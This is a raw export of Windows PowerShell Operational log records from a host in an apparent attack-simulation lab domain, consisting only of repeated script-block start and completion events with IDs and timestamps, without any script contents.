SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044211
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044210
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044209
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044208
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044207
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044206
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044205
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044204
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044203
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044202
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044201
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044200
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044199
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044198
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044197
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044196
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044195
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044194
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044193
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044192
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044191
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044190
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044189
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044188
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044187
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044186
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044185
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044184
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044183
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044182
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044181
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044180
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044179
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044178
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044177
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044176
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044175
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044174
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044173
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044172
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044171
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044170
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044169
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044168
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044167
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044166
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044165
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044164
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044163
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044162
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044161
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044160
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044159
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
